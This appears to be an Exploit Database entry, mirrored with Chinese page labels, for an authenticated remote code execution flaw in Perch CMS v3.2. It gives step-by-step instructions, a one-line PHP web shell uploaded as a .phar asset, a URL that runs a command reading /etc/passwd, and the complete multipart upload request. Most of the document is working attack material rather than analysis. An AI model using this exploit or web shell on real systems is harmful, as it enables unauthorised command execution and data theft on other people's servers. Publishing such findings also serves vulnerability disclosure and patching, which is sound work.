Perch v3.2 – Remote Code Execution (RCE)

• Exploit Database
• 19 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-07-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51620/

• Exploit Title: Perch v3.2 - Remote Code Execution (RCE)
  Application: Perch Cms
  Version: v3.2
  Bugs:RCE
  Technology: PHP
  Vendor URL: https://grabaperch.com/
  Software Link: https://grabaperch.com/download
  Date of found: 21.07.2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  steps: 
  1. login to account as admin
  2. go to visit assets (http://localhost/perch_v3.2/perch/core/apps/assets/)
  3. add assets (http://localhost/perch_v3.2/perch/core/apps/assets/edit/)
  4. upload poc.phar file
  
  poc.phar file contents :
  <?php $a=$_GET['code']; echo system($a);?>
  
  5. visithttp://localhost/perch_v3.2/perch/resources/admin/poc.phar?code=cat%20/etc/passwd
  
  
  poc request: 
  
  POST /perch_v3.2/perch/core/apps/assets/edit/ HTTP/1.1
  Host: localhost
  Content-Length: 1071
  Cache-Control: max-age=0
  sec-ch-ua: 
  sec-ch-ua-mobile: ?0
  sec-ch-ua-platform: ""
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYGoerZn09hHSjd4Z
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/perch_v3.2/perch/core/apps/assets/edit/
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: phpwcmsBELang=en; cmsa=1; PHPSESSID=689rdj63voor49dcfm9rdpolc9
  Connection: close
  
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="resourceTitle"
  
  test
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="image"; filename="poc.phar"
  Content-Type: application/octet-stream
  
  <?php $a=$_GET['code']; echo system($a);?>
  
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="image_field"
  
  1
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="image_assetID"
  
  
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="resourceBucket"
  
  admin
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="tags"
  
  test
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="btnsubmit"
  
  Submit
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="formaction"
  
  edit
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z
  Content-Disposition: form-data; name="token"
  
  5494af3e8dbe5ac399ca7f12219cfe82
  ------WebKitFormBoundaryYGoerZn09hHSjd4Z--